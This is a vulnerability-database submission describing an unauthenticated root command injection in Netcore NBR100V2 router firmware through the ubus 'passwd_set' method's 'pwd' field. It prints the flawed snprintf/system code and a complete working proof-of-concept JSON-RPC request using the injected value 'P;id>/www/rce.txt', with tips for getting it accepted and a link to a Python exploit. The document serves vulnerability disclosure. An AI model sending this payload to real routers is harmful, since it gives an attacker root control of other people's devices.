| 제목 | Netcore磊科 Router Firmware NBR100V2_V1.3.240614.030928 Command Injection |
|---|
| 설명 | An unauthenticated command injection vulnerability (CWE-78), combined with missing authentication for a critical function (CWE-306), was identified in the Netcore NBR100V2 router, firmware version V1.3.240614.030928 (LEDE 17.01-SNAPSHOT, mipsel / MT7621).
The web management interface is served by uhttpd on ports 80/443/23355 and exposes a ubus JSON-RPC endpoint at /ubus. The back-end service /usr/bin/routerd (running as root) registers the ubus object "routerd". Its method "passwd_set" accepts a user-controlled "pwd" string parameter and embeds it without any validation or quoting into a shell command passed to system():
snprintf(buf, size, "uci set auto_ac.auto_ac.passwd=%s;uci commit auto_ac", pwd);
system(buf);
The "user" field is validated (must be an existing account such as root), but the "pwd" field is not. A "pwd" value such as "P;id>/www/rce.txt" therefore injects an arbitrary OS command, which executes with root privileges.
Exploitation requires NO credentials while the device is in its factory-default / unconfigured state (system.@system[0].initialized=0): rpcd then loads the permissive /usr/share/rpcd/acl.d/unauthenticated.json ACL, which permits an anonymous ubus session ("00000000000000000000000000000000") to call routerd.passwd_set. After the user completes the first configuration, routerd.param_status_set atomically swaps in the restricted unauthenticated.json.initialized and the method is no longer reachable unauthenticated (returns Access denied). The ACL transition is one-way.
Proof of concept (no credentials):
POST /ubus HTTP/1.1
Content-Type: application/json
{"jsonrpc":"2.0","id":1,"method":"call","params":["00000000000000000000000000000000","routerd","passwd_set",{"user":"root","pwd":"P;id>/www/rce.txt","by":"web"}]}
Response: {"jsonrpc":"2.0","id":1,"result":[0]}
Then GET /rce.txt returns: uid=0(root) gid=0(root) groups=0(root)
Notes: the injection must go through the "pwd" field (not "user"); the method-arguments object must not contain ubus_rpc_session (uhttpd_ubus.so rejects it with Invalid parameters).
The vulnerability was dynamically verified against the firmware emulated with qemu-mipsel; arbitrary commands executed with root privileges. Full details and a Python EXP are available at <GITHUB_ADVISORY_URL>. |
|---|
| 원천 | ⚠️ https://github.com/senxitoyshuyi-ui/HACKALL/blob/main/netcore_NBR100V2_V1.3.240614.030928%20Router/netcore_nbr100v2_passwd_set_rce.md |
|---|
| 사용자 | llsss (UID 96233) |
|---|
| 제출 | 2026. 08. 10. AM 08:24 (2 개월 ago) |
|---|
| 모더레이션 | 2026. 09. 27. PM 12:21 (2 months later) |
|---|
| 상태 | 중복 |
|---|
| VulDB 항목 | 310234 [Netcore NBR200V2 까지 20250508 HTTP Header /usr/bin/routerd passwd_set pwd 권한 상승] |
|---|
| 포인트들 | 0 |
|---|